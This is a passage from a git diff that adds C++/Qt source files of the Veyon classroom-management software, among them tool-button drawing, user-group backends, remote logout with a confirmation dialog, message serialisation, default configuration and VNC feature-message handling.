MessageTextArgument ).toString() ); + } + else + { + QMessageBox::information( nullptr, + message.argument( MessageTitleArgument ).toString(), + message.argument( MessageTextArgument ).toString() ); + } + return true; + + default: + break; + } + + return false; +} diff --git a/core/src/ToolButton.cpp b/core/src/ToolButton.cpp new file mode 100644 index 0000000..f6fafac --- /dev/null +++ b/core/src/ToolButton.cpp @@ -0,0 +1,416 @@ +/* + * ToolButton.cpp - implementation of Veyon-tool-button + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "ToolButton.h" + +bool ToolButton::s_toolTipsDisabled = false; +bool ToolButton::s_iconOnlyMode = false; + + +ToolButton::ToolButton( const QIcon& icon, + const QString& label, + const QString& altLabel, + const QString& description, + const QKeySequence& shortcut ) : + m_pixelRatio( 1 ), + m_icon( icon ), + m_pixmap(), + m_mouseOver( false ), + m_label( label ), + m_altLabel( altLabel ), + m_descr( description ) +{ + setShortcut( shortcut ); + + setAttribute( Qt::WA_NoSystemBackground, true ); + + updateSize(); +} + + + + +ToolButton::~ToolButton() +{ +} + + + +void ToolButton::setIconOnlyMode( QWidget* mainWindow, bool enabled ) +{ + s_iconOnlyMode = enabled; + const auto toolButtons = mainWindow->findChildren(); + for( auto toolButton : toolButtons ) + { + toolButton->updateSize(); + } +} + + + +void ToolButton::addTo( QToolBar* toolBar ) +{ + auto action = toolBar->addWidget( this ); + action->setText( m_label ); +} + + + + +void ToolButton::enterEvent( QEvent* event ) +{ + m_mouseOver = true; + if( !s_toolTipsDisabled && !m_label.isEmpty() && !m_descr.isEmpty() ) + { + auto toolTipPos = mapToGlobal( QPoint( 0, 0 ) ); +#if QT_VERSION >= QT_VERSION_CHECK(5, 10, 0) + const auto screenRect = QGuiApplication::screenAt( toolTipPos )->availableGeometry(); +#else + int screenNumber = QApplication::desktop()->isVirtualDesktop() ? + QApplication::desktop()->screenNumber( toolTipPos ) : + QApplication::desktop()->screenNumber( this ); + const auto screenRect = QApplication::desktop()->screenGeometry( screenNumber ); +#endif + + auto toolTip = new ToolButtonTip( m_icon.pixmap( 128, 128 ), m_label, m_descr, nullptr, this ); + connect( this, &ToolButton::mouseLeftButton, toolTip, &QWidget::close ); + + if( toolTipPos.x() + toolTip->width() > screenRect.x() + screenRect.width() ) + { + toolTipPos.rx() -= 4; + } + if( toolTipPos.y() + toolTip->height() > screenRect.y() + screenRect.height() ) + { + toolTipPos.ry() -= 30 + toolTip->height(); + } + if( toolTipPos.y() < screenRect.y() ) + { + toolTipPos.setY( screenRect.y() ); + } + if( toolTipPos.x() + toolTip->width() > screenRect.x() + screenRect.width() ) + { + toolTipPos.setX( screenRect.x() + screenRect.width() - toolTip->width() ); + } + if( toolTipPos.x() < screenRect.x() ) + { + toolTipPos.setX( screenRect.x() ); + } + if( toolTipPos.y() + toolTip->height() > screenRect.y() + screenRect.height() ) + { + toolTipPos.setY( screenRect.y() + screenRect.height() - toolTip->height() ); + } + + toolTip->move( toolTipPos += QPoint( -4, height() ) ); + toolTip->show(); + } + + QToolButton::enterEvent( event ); +} + + + + +void ToolButton::leaveEvent( QEvent* event ) +{ + if( checkForLeaveEvent() ) + { + QToolButton::leaveEvent( event ); + } +} + + + + +void ToolButton::mousePressEvent( QMouseEvent* event ) +{ + emit mouseLeftButton(); + QToolButton::mousePressEvent( event ); +} + + + + +void ToolButton::paintEvent( QPaintEvent* ) +{ + const bool active = isDown() || isChecked(); + + QPainter painter(this); + painter.setRenderHint(QPainter::SmoothPixmapTransform); + painter.setRenderHint(QPainter::Antialiasing); + painter.setPen(Qt::NoPen); + + QLinearGradient outlinebrush(0, 0, 0, height()); + QLinearGradient brush(0, 0, 0, height()); + + brush.setSpread(QLinearGradient::PadSpread); + QColor highlight(255, 255, 255, 70); + QColor shadow(0, 0, 0, 70); + QColor sunken(220, 220, 220, 30); + QColor normal1(255, 255, 245, 60); + QColor normal2(255, 255, 235, 10); + + if( active ) + { + outlinebrush.setColorAt( 0.0, shadow ); + outlinebrush.setColorAt( 1.0, highlight ); + brush.setColorAt( 0.0, sunken ); + painter.setPen(Qt::NoPen); + } + else + { + outlinebrush.setColorAt( 1.0, shadow ); + outlinebrush.setColorAt( 0.0, highlight ); + brush.setColorAt( 0.0, normal1 ); + if( m_mouseOver == false ) + { + brush.setColorAt( 1.0, normal2 ); + } + painter.setPen(QPen(outlinebrush, 1)); + } + + painter.setBrush(brush); + + painter.drawRoundedRect( rect(), roundness(), roundness() ); + + const int delta = active ? 1 : 0; + QPoint pixmapPos( ( width() - m_pixmap.width() ) / 2 + delta, margin() / 2 + delta ); + if( s_iconOnlyMode ) + { + pixmapPos.setY( ( height() - m_pixmap.height() ) / 2 - 1 + delta ); + } + painter.drawPixmap( pixmapPos, m_pixmap ); + + if( s_iconOnlyMode == false ) + { + const auto label = ( active && m_altLabel.isEmpty() == false ) ? m_altLabel : m_label; + const int labelX = 1 + ( width() - painter.fontMetrics().width( label ) ) / 2; + const int deltaNormal = delta - 1; + const int deltaShadow = deltaNormal + 1; + + painter.setPen( Qt::black ); + painter.drawText( labelX + deltaShadow, height() - margin() / 2 + deltaShadow, label ); + + painter.setPen( Qt::white ); + painter.drawText( labelX + deltaNormal, height() - margin() / 2 + deltaNormal, label ); + } +} + + + + +bool ToolButton::checkForLeaveEvent() +{ + if( QRect( mapToGlobal( QPoint( 0, 0 ) ), size() ). + contains( QCursor::pos() ) ) + { + QTimer::singleShot( 20, this, &ToolButton::checkForLeaveEvent ); + } + else + { + emit mouseLeftButton(); + m_mouseOver = false; + + return true; + } + return false; +} + + + + +void ToolButton::updateSize() +{ + auto f = QApplication::font(); + f.setPointSizeF( qMax( 7.5, f.pointSizeF() * 0.9 ) ); + setFont( f ); + + m_pixelRatio = fontInfo().pixelSize() / fontInfo().pointSizeF(); + + const auto metrics = fontMetrics(); + + m_pixmap = m_icon.pixmap( static_cast( iconSize() ) ); + + if( s_iconOnlyMode ) + { + setFixedSize( margin() + iconSize(), margin() + iconSize() ); + } + else + { + const int textWidth = ( qMax( metrics.width( m_label ), metrics.width( m_altLabel ) ) / stepSize() + 1 ) * stepSize(); + const int width = qMax( textWidth, iconSize() * 3 / 2 ); + const int height = iconSize() + fontInfo().pixelSize(); + setFixedSize( width + margin(), height + margin() ); + } +} + + + + + + + +ToolButtonTip::ToolButtonTip( const QIcon& icon, const QString &title, + const QString & _description, + QWidget * _parent, QWidget * _tool_btn ) : + QWidget( _parent, Qt::ToolTip ), + m_pixelRatio( fontInfo().pixelSize() / fontInfo().pointSizeF() ), + m_pixmap( icon.pixmap( static_cast( 64 * m_pixelRatio ) ) ), + m_title( title ), + m_description( _description ), + m_toolButton( _tool_btn ) +{ + setAttribute( Qt::WA_DeleteOnClose, true ); + setAttribute( Qt::WA_NoSystemBackground, true ); + + resize( sizeHint() ); + updateMask(); +} + + + + +QSize ToolButtonTip::sizeHint() const +{ + auto f = font(); + f.setBold( true ); + + const auto titleWidth = QFontMetrics( f ).width( m_title ); + const auto descriptionRect = fontMetrics().boundingRect( QRect( 0, 0, 250, 100 ), Qt::TextWordWrap, m_description ); + + return { margin() + m_pixmap.width() + margin() + qMax( titleWidth, descriptionRect.width() ) + margin(), + margin() + qMax( m_pixmap.height(), fontMetrics().height() + margin() + descriptionRect.height() ) + margin() }; +} + + + + +void ToolButtonTip::paintEvent( QPaintEvent* ) +{ + QPainter p( this ); + p.drawImage( 0, 0, m_bg ); +} + + + + +void ToolButtonTip::resizeEvent( QResizeEvent * _re ) +{ + const QColor color_frame = QColor( 48, 48, 48 ); + m_bg = QImage( size(), QImage::Format_ARGB32 ); + m_bg.fill( color_frame.rgba() ); + QPainter p( &m_bg ); + p.setRenderHint( QPainter::Antialiasing ); + QPen pen( color_frame ); + pen.setWidthF( 1.5 ); + p.setPen( pen ); + QLinearGradient grad( 0, 0, 0, height() ); + const QColor color_top = palette().color( QPalette::Active, + QPalette::Window ).light( 120 ); + grad.setColorAt( 0, color_top ); + grad.setColorAt( 1, palette().color( QPalette::Active, + QPalette::Window ). + light( 80 ) ); + p.setBrush( grad ); + p.drawRoundRect( 0, 0, width() - 1, height() - 1, + ROUNDED / width(), ROUNDED / height() ); + if( m_toolButton ) + { + QPoint pt = m_toolButton->mapToGlobal( QPoint( 0, 0 ) ); + p.setPen( color_top ); + p.setBrush( color_top ); + p.setRenderHint( QPainter::Antialiasing, false ); + p.drawLine( pt.x() - x(), 0, + pt.x() + m_toolButton->width() - x() - 2, 0 ); + const int dx = pt.x() - x(); + p.setRenderHint( QPainter::Antialiasing, true ); + if( dx < 10 && dx >= 0 ) + { + p.setPen( pen ); + p.drawImage( dx+1, 0, m_bg.copy( 20, 0, 10-dx, 10 ) ); + p.drawImage( dx, 0, m_bg.copy( 0, 10, 1, 10-dx*2 ) ); + } + } + p.setPen( Qt::black ); + + p.drawPixmap( margin(), margin(), m_pixmap ); + QFont f = p.font(); + f.setBold( true ); + p.setFont( f ); + const auto titleX = margin() + m_pixmap.width() + margin(); + const auto titleY = margin() + fontMetrics().height() - 2; + p.drawText( titleX, titleY, m_title ); + + f.setBold( false ); + p.setFont( f ); + p.drawText( QRect( titleX, + titleY + margin(), + width() - margin() - titleX, + height() - margin() - titleY ), + Qt::TextWordWrap, m_description ); + + updateMask(); + QWidget::resizeEvent( _re ); +} + + + + +void ToolButtonTip::updateMask() +{ + // as this widget has not a rectangular shape AND is a top + // level widget (which doesn't allow painting only particular + // regions), we have to set a mask for it + QBitmap b( size() ); + b.clear(); + + QPainter p( &b ); + p.setBrush( Qt::color1 ); + p.setPen( Qt::color1 ); + p.drawRoundRect( 0, 0, width() - 1, height() - 1, + ROUNDED / width(), ROUNDED / height() ); + + if( m_toolButton ) + { + QPoint pt = m_toolButton->mapToGlobal( QPoint( 0, 0 ) ); + const int dx = pt.x()-x(); + if( dx < 10 && dx >= 0 ) + { + p.fillRect( dx, 0, 10, 10, Qt::color1 ); + } + } + + setMask( b ); +} diff --git a/core/src/UserGroupsBackendManager.cpp b/core/src/UserGroupsBackendManager.cpp new file mode 100644 index 0000000..50f8de9 --- /dev/null +++ b/core/src/UserGroupsBackendManager.cpp @@ -0,0 +1,96 @@ +/* + * UserGroupsBackendManager.cpp - implementation of UserGroupsBackendManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "PluginManager.h" +#include "UserGroupsBackendManager.h" + + +UserGroupsBackendManager::UserGroupsBackendManager( QObject* parent ) : + QObject( parent ), + m_backends(), + m_defaultBackend( nullptr ), + m_accessControlBackend( nullptr ) +{ + for( auto pluginObject : qAsConst( VeyonCore::pluginManager().pluginObjects() ) ) + { + auto pluginInterface = qobject_cast( pluginObject ); + auto userGroupsBackendInterface = qobject_cast( pluginObject ); + + if( pluginInterface && userGroupsBackendInterface ) + { + m_backends[pluginInterface->uid()] = userGroupsBackendInterface; + + if( pluginInterface->flags().testFlag( Plugin::ProvidesDefaultImplementation ) ) + { + m_defaultBackend = userGroupsBackendInterface; + } + } + } + + if( m_defaultBackend == nullptr ) + { + qCritical( "UserGroupsBackendManager: no default plugin available!" ); + } + + reloadConfiguration(); +} + + + +QMap UserGroupsBackendManager::availableBackends() +{ + QMap items; + + for( auto it = m_backends.constBegin(), end = m_backends.constEnd(); it != end; ++it ) + { + items[it.key()] = it.value()->userGroupsBackendName(); + } + + return items; +} + + + +UserGroupsBackendInterface* UserGroupsBackendManager::accessControlBackend() +{ + if( m_accessControlBackend == nullptr ) + { + reloadConfiguration(); + } + + return m_accessControlBackend; +} + + + +void UserGroupsBackendManager::reloadConfiguration() +{ + m_accessControlBackend = m_backends.value( VeyonCore::config().accessControlUserGroupsBackend() ); + + if( m_accessControlBackend == nullptr ) + { + m_accessControlBackend = m_defaultBackend; + } +} diff --git a/core/src/UserSessionControl.cpp b/core/src/UserSessionControl.cpp new file mode 100644 index 0000000..468d9cf --- /dev/null +++ b/core/src/UserSessionControl.cpp @@ -0,0 +1,182 @@ +/* + * UserSessionControl.cpp - implementation of UserSessionControl class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "UserSessionControl.h" +#include "FeatureWorkerManager.h" +#include "VeyonCore.h" +#include "VeyonConfiguration.h" +#include "VeyonMasterInterface.h" +#include "VeyonServerInterface.h" +#include "PlatformUserFunctions.h" + + +UserSessionControl::UserSessionControl( QObject* parent ) : + QObject( parent ), + m_userSessionInfoFeature( Feature( Feature::Session | Feature::Service | Feature::Worker | Feature::Builtin, + Feature::Uid( "79a5e74d-50bd-4aab-8012-0e70dc08cc72" ), + Feature::Uid(), + tr( "User session control" ), QString(), QString() ) ), + m_userLogoutFeature( Feature::Action | Feature::Master | Feature::Service, + Feature::Uid( "7311d43d-ab53-439e-a03a-8cb25f7ed526" ), + Feature::Uid(), + tr( "Logout" ), QString(), + tr( "Click this button to logout users from all computers." ), + QStringLiteral( ":/resources/system-suspend-hibernate.png" ) ), + m_features( { m_userSessionInfoFeature, m_userLogoutFeature } ), + m_userInfoQueryThread( new QThread ), + m_userInfoQueryTimer( new QTimer ) +{ + // initialize user info query timer and thread + m_userInfoQueryTimer->moveToThread( m_userInfoQueryThread ); + connect( m_userInfoQueryThread, &QThread::finished, m_userInfoQueryThread, &QObject::deleteLater ); +} + + + +UserSessionControl::~UserSessionControl() +{ + m_userInfoQueryThread->quit(); + m_userInfoQueryTimer->deleteLater(); +} + + + +bool UserSessionControl::getUserSessionInfo( const ComputerControlInterfaceList& computerControlInterfaces ) +{ + return sendFeatureMessage( FeatureMessage( m_userSessionInfoFeature.uid(), GetInfo ), + computerControlInterfaces ); +} + + + +bool UserSessionControl::startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master); + + if( confirmFeatureExecution( feature, master.mainWindow() ) == false ) + { + return false; + } + + if( feature == m_userLogoutFeature ) + { + return sendFeatureMessage( FeatureMessage( m_userLogoutFeature.uid(), FeatureMessage::DefaultCommand ), + computerControlInterfaces ); + } + + return false; +} + + + +bool UserSessionControl::handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + Q_UNUSED(master); + + if( message.featureUid() == m_userSessionInfoFeature.uid() ) + { + computerControlInterface->setUser( message.argument( UserName ).toString() ); + + return true; + } + + return false; +} + + + +bool UserSessionControl::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + if( m_userSessionInfoFeature.uid() == message.featureUid() ) + { + FeatureMessage reply( message.featureUid(), message.command() ); + + m_userDataLock.lockForRead(); + if( m_userName.isEmpty() ) + { + queryUserInformation(); + reply.addArgument( UserName, QString() ); + } + else + { + reply.addArgument( UserName, QString( QStringLiteral( "%1 (%2)" ) ).arg( m_userName, m_userFullName ) ); + } + m_userDataLock.unlock(); + + return server.sendFeatureMessageReply( message, reply ); + } + else if( m_userLogoutFeature.uid() == message.featureUid() ) + { + VeyonCore::platform().userFunctions().logout(); + return true; + } + + return false; +} + + + +void UserSessionControl::queryUserInformation() +{ + if( m_userInfoQueryThread->isRunning() == false ) + { + m_userInfoQueryThread->start(); + } + + // asynchronously query information about logged on user (which might block + // due to domain controller queries and timeouts etc.) + m_userInfoQueryTimer->singleShot( 0, m_userInfoQueryTimer, [=]() { + const auto userName = VeyonCore::platform().userFunctions().currentUser(); + const auto userFullName = VeyonCore::platform().userFunctions().fullName( userName ); + m_userDataLock.lockForWrite(); + m_userName = userName; + m_userFullName = userFullName; + m_userDataLock.unlock(); + } ); +} + + + +bool UserSessionControl::confirmFeatureExecution( const Feature& feature, QWidget* parent ) +{ + if( VeyonCore::config().confirmDangerousActions() == false ) + { + return true; + } + + if( feature == m_userLogoutFeature ) + { + return QMessageBox::question( parent, tr( "Confirm user logout" ), + tr( "Do you really want to logout the selected users?" ) ) == + QMessageBox::Yes; + } + + return false; +} diff --git a/core/src/VariantArrayMessage.cpp b/core/src/VariantArrayMessage.cpp new file mode 100644 index 0000000..34ab711 --- /dev/null +++ b/core/src/VariantArrayMessage.cpp @@ -0,0 +1,115 @@ +/* + * VariantArrayMessage.cpp - class for sending/receiving a variant array as message + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonCore.h" + +#include "VariantArrayMessage.h" +#include "VariantStream.h" + + +VariantArrayMessage::VariantArrayMessage( QIODevice* ioDevice ) : + m_buffer(), + m_stream( &m_buffer ), + m_ioDevice( ioDevice ) +{ + Q_ASSERT( m_ioDevice != nullptr ); + + m_buffer.open( QBuffer::ReadWrite ); // Flawfinder: ignore +} + + + +bool VariantArrayMessage::send() +{ + MessageSize messageSize = qToBigEndian( static_cast( m_buffer.size() ) ); + m_ioDevice->write( reinterpret_cast( &messageSize ), sizeof(messageSize) ); + m_ioDevice->write( m_buffer.data() ); + + return true; +} + + + +bool VariantArrayMessage::isReadyForReceive() +{ + MessageSize messageSize; + + if( m_ioDevice->peek( reinterpret_cast( &messageSize ), sizeof(messageSize) ) == sizeof(messageSize) ) + { + messageSize = qFromBigEndian(messageSize); + + return m_ioDevice->bytesAvailable() >= static_cast( sizeof(messageSize) + messageSize ); + } + + return false; +} + + + +bool VariantArrayMessage::receive() +{ + MessageSize messageSize; + + if( m_ioDevice->read( reinterpret_cast( &messageSize ), sizeof(messageSize) ) != sizeof(messageSize) ) // Flawfinder: ignore + { + qWarning( "VariantArrayMessage::receive(): could not read message size!" ); + return false; + } + + messageSize = qFromBigEndian(messageSize); + if( messageSize > MaxMessageSize ) + { + qCritical() << Q_FUNC_INFO << "invalid message size" << messageSize; + return false; + } + + const auto data = m_ioDevice->read( messageSize ); // Flawfinder: ignore + if( data.size() != static_cast( messageSize ) ) + { + qWarning( "VariantArrayMessage::receive(): could not read message data!" ); + return false; + } + + m_buffer.close(); + m_buffer.setData( data ); + m_buffer.open( QBuffer::ReadOnly ); // Flawfinder: ignore + + return true; +} + + + +QVariant VariantArrayMessage::read() // Flawfinder: ignore +{ + return m_stream.read(); // Flawfinder: ignore +} + + + +VariantArrayMessage& VariantArrayMessage::write( const QVariant& v ) +{ + m_stream.write( v ); + + return *this; +} diff --git a/core/src/VariantStream.cpp b/core/src/VariantStream.cpp new file mode 100644 index 0000000..586ea3e --- /dev/null +++ b/core/src/VariantStream.cpp @@ -0,0 +1,53 @@ +/* + * VariantStream.cpp - read/write QVariant objects to/from QIODevice + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VariantStream.h" + +VariantStream::VariantStream( QIODevice* ioDevice ) : + m_dataStream( ioDevice ) +{ + m_dataStream.setVersion( QDataStream::Qt_5_5 ); +} + + + +QVariant VariantStream::read() // Flawfinder: ignore +{ + QVariant v; + m_dataStream >> v; + + if( v.isValid() == false || v.isNull() ) + { + qWarning( "VariantStream: none or invalid data read" ); + } + + return v; +} + + + +void VariantStream::write( const QVariant& v ) +{ + m_dataStream << v; +} diff --git a/core/src/VeyonConfiguration.cpp b/core/src/VeyonConfiguration.cpp new file mode 100644 index 0000000..f2e91d9 --- /dev/null +++ b/core/src/VeyonConfiguration.cpp @@ -0,0 +1,99 @@ +/* + * VeyonConfiguration.cpp - a Configuration object storing system wide + * configuration values + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "VeyonConfiguration.h" +#include "VeyonCore.h" +#include "VeyonRfbExt.h" +#include "Logger.h" +#include "NetworkObjectDirectory.h" + + +VeyonConfiguration::VeyonConfiguration() : + Configuration::Object( Configuration::Store::LocalBackend, + Configuration::Store::System, + defaultConfiguration() ) +{ +} + + + +VeyonConfiguration::VeyonConfiguration( Configuration::Store* store ) : + Configuration::Object( store ) +{ +} + + + +VeyonConfiguration VeyonConfiguration::defaultConfiguration() +{ + VeyonConfiguration c( nullptr ); + + c.setApplicationName( QString() ); + c.setUiLanguage( QString() ); + + c.setNetworkObjectDirectoryUpdateInterval( NetworkObjectDirectory::DefaultUpdateInterval ); + + c.setTrayIconHidden( false ); + c.setFailedAuthenticationNotificationsEnabled( true ); + c.setRemoteConnectionNotificationsEnabled( false ); + c.setServiceAutostart( true ); + + c.setLogLevel( Logger::LogLevelDefault ); + c.setLogFileSizeLimitEnabled( false ); + c.setLogFileRotationEnabled( false ); + c.setLogToStdErr( true ); + c.setLogToSystem( false ); + c.setLogFileSizeLimit( 100 ); + c.setLogFileRotationCount( 10 ); + c.setLogFileDirectory( QStringLiteral( "$TEMP" ) ); + + c.setPrimaryServicePort( PortOffsetPrimaryServiceServer ); + c.setVncServerPort( PortOffsetVncServer ); + c.setFeatureWorkerManagerPort( PortOffsetFeatureManagerPort ); + c.setDemoServerPort( PortOffsetDemoServer ); + c.setFirewallExceptionEnabled( true ); + c.setSoftwareSASEnabled( true ); + + c.setUserConfigurationDirectory( QDir::toNativeSeparators( QStringLiteral( "%APPDATA%/Config" ) ) ); + c.setScreenshotDirectory( QDir::toNativeSeparators( QStringLiteral( "%APPDATA%/Screenshots" ) ) ); + c.setComputerMonitoringUpdateInterval( 1000 ); + c.setComputerMonitoringBackgroundColor( Qt::white ); + c.setComputerMonitoringTextColor( Qt::black ); + + c.setAuthenticationMethod( VeyonCore::LogonAuthentication ); + + c.setPrivateKeyBaseDir( QDir::toNativeSeparators( QStringLiteral( "%GLOBALAPPDATA%/keys/private" ) ) ); + c.setPublicKeyBaseDir( QDir::toNativeSeparators( QStringLiteral( "%GLOBALAPPDATA%/keys/public" ) ) ); + + c.setAuthorizedUserGroups( QStringList() ); + + return c; +} + + + +FOREACH_VEYON_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) diff --git a/core/src/VeyonConnection.cpp b/core/src/VeyonConnection.cpp new file mode 100644 index 0000000..db42074 --- /dev/null +++ b/core/src/VeyonConnection.cpp @@ -0,0 +1,176 @@ +/* + * VeyonConnection.cpp - implementation of VeyonConnection + * + * Copyright (c) 2008-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "FeatureMessage.h" +#include "VeyonConnection.h" +#include "SocketDevice.h" + +extern "C" +{ + #include +} + +// clazy:excludeall=copyable-polymorphic + +class FeatureMessageEvent : public MessageEvent +{ +public: + FeatureMessageEvent( const FeatureMessage& featureMessage ) : + m_featureMessage( featureMessage ) + { + } + + void fire( rfbClient* client ) override + { + qDebug() << "FeatureMessageEvent::fire(): sending message" << m_featureMessage.featureUid() + << "command" << m_featureMessage.command() + << "arguments" << m_featureMessage.arguments(); + + SocketDevice socketDevice( VncConnection::libvncClientDispatcher, client ); + char messageType = rfbVeyonFeatureMessage; + socketDevice.write( &messageType, sizeof(messageType) ); + + m_featureMessage.send( &socketDevice ); + } + + +private: + FeatureMessage m_featureMessage; + +} ; + + + +static rfbClientProtocolExtension* __veyonProtocolExt = nullptr; + + + +VeyonConnection::VeyonConnection( VncConnection* vncConnection ): + m_vncConnection( vncConnection ), + m_user(), + m_userHomeDir() +{ + if( __veyonProtocolExt == nullptr ) + { + __veyonProtocolExt = new rfbClientProtocolExtension; + __veyonProtocolExt->encodings = nullptr; + __veyonProtocolExt->handleEncoding = nullptr; + __veyonProtocolExt->handleMessage = handleVeyonMessage; + __veyonProtocolExt->securityTypes = nullptr; + __veyonProtocolExt->handleAuthentication = nullptr; + + rfbClientRegisterExtension( __veyonProtocolExt ); + } + + if( m_vncConnection ) + { + connect( m_vncConnection, &VncConnection::connectionEstablished, this, &VeyonConnection::registerConnection, Qt::DirectConnection ); + } +} + + + +VeyonConnection::~VeyonConnection() +{ + unregisterConnection(); +} + + + +void VeyonConnection::sendFeatureMessage( const FeatureMessage& featureMessage ) +{ + if( m_vncConnection.isNull() ) + { + qCritical( "VeyonConnection::sendFeatureMessage(): cannot call enqueueEvent as m_vncConnection is invalid" ); + return; + } + + m_vncConnection->enqueueEvent( new FeatureMessageEvent( featureMessage ) ); +} + + + +void VeyonConnection::registerConnection() +{ + if( m_vncConnection.isNull() == false ) + { + m_vncConnection->setClientData( VeyonConnectionTag, this ); + } +} + + + +void VeyonConnection::unregisterConnection() +{ + if( m_vncConnection.isNull() == false ) + { + m_vncConnection->setClientData( VeyonConnectionTag, nullptr ); + } +} + + + +rfbBool VeyonConnection::handleVeyonMessage( rfbClient* client, rfbServerToClientMsg* msg ) +{ + auto connection = reinterpret_cast( VncConnection::clientData( client, VeyonConnectionTag ) ); + if( connection ) + { + return connection->handleServerMessage( client, msg->type ); + } + + return false; +} + + + +bool VeyonConnection::handleServerMessage( rfbClient* client, uint8_t msg ) +{ + if( msg == rfbVeyonFeatureMessage ) + { + SocketDevice socketDev( VncConnection::libvncClientDispatcher, client ); + FeatureMessage featureMessage( &socketDev ); + if( featureMessage.receive() == false ) + { + qDebug( "VeyonConnection: could not receive feature message" ); + + return false; + } + + qDebug() << "VeyonConnection: received feature message" + << featureMessage.command() + << "with arguments" << featureMessage.arguments(); + + emit featureMessageReceived( featureMessage ); + + return true; + } + else + { + qCritical( "VeyonConnection::handleServerMessage(): " + "unknown message type %d from server. Closing " + "connection. Will re-open it later.", static_cast( msg ) ); + } + + return false; +} diff --git a/core/src/VeyonCore.cpp b/core/src/VeyonCore.cpp new file mode 100644 index 0000000..171034c --- /dev/null +++ b/core/src/VeyonCore.cpp @@ -0,0 +1,499 @@ +/* + * VeyonCore.cpp - implementation of Veyon Core + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free 